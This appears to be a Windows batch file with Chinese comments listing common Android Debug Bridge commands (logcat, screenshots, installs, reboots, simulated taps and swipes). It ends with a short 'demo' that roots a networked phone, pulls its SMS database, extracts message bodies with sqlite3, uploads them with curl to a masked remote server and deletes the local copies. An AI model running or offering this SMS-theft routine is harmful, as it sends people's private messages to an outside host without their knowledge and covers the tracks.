@echo off
title android Debug Bridge
ECHO 关闭ADB
adb kill-server
ECHO 启动ADB
adb start-server
ECHO 查看已连接 adb 的设备列表
adb devices
ECHO 远程调试
adb connect 192.168.43.1
ECHO 获取权限
adb root
ECHO 获取设备的状态
adb get-state
ECHO 打印 Android 的系统日志
adb logcat
ECHO 手机屏幕保存到SDCard
adb shell /system/bin/screencap -p /sdcard/screenshot.png
ECHO 屏幕图片保存到电脑
adb pull /sdcard/screenshot.png .
ECHO 强制安装
adb install -r adbWireless_12.apk
ECHO 卸载 APK
adb uninstall *.apk
ECHO 重启手机
adb reboot
ECHO 进入shell环境
adb shell
ECHO 修改文件权限,要先进入 shell 环境
chmod 0755 [手机端文件路径]
ECHO 重启手机进入 Recovery
adb reboot recovery
ECHO 重启手机进入 Bootloader
adb reboot bootloader
ECHO 将手机上的运行日志导出为 txt 文件
adb logcat > log.txt
ECHO 将设备改为可读可写
adb remount
ECHO 新增的录制命令执行命令后操作手机,ctrl + c 结束录制,录制结果保存至 sdcard
adb shell screenrecord sdcard/record.mp4
ECHO 模拟输入文本信息(前提先将键盘设置为英文键盘)
adb input text HelloWorld
ECHO 模拟物理按键操作
adb input keyevent KEYCODE_VOLUME_DOWN
ECHO 模拟点击操作
adb input tap 500 500
ECHO 模拟滑动操作
adb input swipe 200 500 400 500
ECHO 模拟长按操作(x1 y1 x2 y2 毫米)
adb input swipe 200 200 200 200 1000
ECHO 启动默认浏览器打开一个网页
adb shell am start -a android.intent.action.VIEW -d http://litry.cn Starting: Intent { act=android.intent.action.VIEW dat=http://litry.cn }
ECHO 启动拨号器拨打 10086
adb shell am start -a android.intent.action.CALL -d tel:10086 Starting: Intent { act=android.intent.action.CALL dat=tel:xxxxx }
获取手机短信的小demo
@echo off title SMS ECHO 关闭ADB adb kill-server ECHO 启动ADB adb start-server ECHO 连接远程设备 adb connect 192.168.43.1 ECHO 获取权限 adb root ECHO 将设备改为可读可写 adb remount ECHO 导出mmssms.db adb pull /data/data/com.android.providers.telephony/databases/mmssms.db . ECHO 关闭ADB adb kill-server ECHO 导出短信 sqlite3 -csv mmssms.db "select _id,body from sms order by _id desc">sms.txt ECHO 删除本地mmssms.db ECHO del mmssms.db ECHO 上传至服务器 curl -F "[email protected]" http://***/sms ECHO 删除短信 del sms.txt PAUSE